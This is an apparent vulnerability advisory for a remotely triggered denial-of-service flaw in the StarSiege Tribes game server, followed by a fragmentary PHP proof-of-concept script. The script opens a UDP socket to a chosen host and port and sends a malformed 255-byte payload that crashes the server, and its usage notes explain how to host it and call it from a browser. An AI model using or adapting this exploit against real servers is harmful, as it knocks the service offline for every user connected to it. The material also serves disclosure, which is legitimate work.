StarSiege Tribes Game Server has been reported prone to a remotely triggered denial of service vulnerability.
The issue presents itself when the affected server receives and processes a malformed UDP datagram. Reportedly when the server handles a UDP datagram containing malformed data, an exception will be thrown and the StarSiege Tribes Game Server will crash. Service will be denied, to current connected users of the system.

Purpose: POC "StarSiege: Tribes" DoS
Usage: Call it from a browser once its uploaded on a server
with PHP installed:
Note - global variables must be enabled in php.ini (yes... I
know thats bad too)
Yeah... too lazy to fine tune it, maybe someone else can
throw in HTML forms to give it a little interface ;-).
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 30);
echo "$errstr ($errno)<br>\n";
$char = "a";
for($a = 0; $a < 255; $a++)
$data = $data.$char;
if(fputs ($fp, $data) )
